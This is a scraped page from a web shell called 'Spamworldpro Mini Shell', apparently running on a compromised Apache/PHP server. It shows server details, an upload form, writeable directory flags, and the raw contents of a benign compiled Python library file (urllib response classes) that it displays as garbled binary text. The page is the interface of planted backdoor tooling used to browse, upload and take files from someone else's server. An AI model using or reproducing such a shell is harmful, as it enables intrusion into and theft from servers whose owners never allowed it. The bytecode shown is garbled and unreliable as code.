Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/future/backports/urllib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/future/backports/urllib/response.pyo
�
,�]c@`s�dZddlmZmZmZddlmZdefd��YZdefd��YZdefd	��YZ	d
efd��YZ
[[[[dS(
uResponse classes used by urllib.

The base class, addbase, defines a minimal file-like interface,
including read() and readline().  The typical response object is an
addinfourl instance, which defines an info() method that returns
headers and a geturl() method that returns the url.
i(tabsolute_importtdivisiontunicode_literals(tobjecttaddbasecB`sDeZdZd�Zd�Zd�Zd�Zd�Zd�ZRS(u(Base class for addinfo and addclosehook.cC`s||_|jj|_|jj|_t|jd�rK|jj|_nt|jd�ro|jj|_nd�|_dS(Nu	readlinesufilenocS`sdS(N(tNone(((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyt<lambda>s(tfptreadtreadlinethasattrt	readlinestfileno(tselfR((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyt__init__s	cC`s
t|j�S(N(titerR(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyt__iter__scC`s d|jjt|�|jfS(Nu<%s at %r whose fp = %r>(t	__class__t__name__tidR(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyt__repr__%scC`s\|jr|jj�nd|_d|_d|_d|_d|_d|_d|_dS(N(	RtcloseRRR	RRRt__next__(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyR)s							cC`s"|jdkrtd��n|S(NuI/O operation on closed file(RRt
ValueError(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyt	__enter__4scC`s|j�dS(N(R(R
ttypetvaluet	traceback((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyt__exit__9s(	Rt
__module__t__doc__RRRRRR(((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyRs	
				taddclosehookcB`s eZdZd�Zd�ZRS(u*Class to add a close hook to an open file.cG`s&tj||�||_||_dS(N(RRt	closehookthookargs(R
RR R!((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyR?s	cC`s?|jr.|j|j�d|_d|_ntj|�dS(N(R R!RRR(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyRDs
		(RRRRR(((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyR<s	taddinfocB`s eZdZd�Zd�ZRS(u.class to add an info() method to an open file.cC`stj||�||_dS(N(RRtheaders(R
RR#((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyRNscC`s|jS(N(R#(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pytinfoRs(RRRRR$(((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyR"Ks	t
addinfourlcB`s5eZdZdd�Zd�Zd�Zd�ZRS(u9class to add info() and geturl() methods to an open file.cC`s/tj||�||_||_||_dS(N(RRR#turltcode(R
RR#R&R'((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyRXs		cC`s|jS(N(R#(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyR$^scC`s|jS(N(R'(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pytgetcodeascC`s|jS(N(R&(R
((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pytgeturldsN(RRRRRR$R(R)(((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyR%Us
		N(Rt
__future__RRRtfuture.builtinsRRRR"R%(((sD/usr/lib/python2.7/site-packages/future/backports/urllib/response.pyt<module>s1


Spamworldpro Mini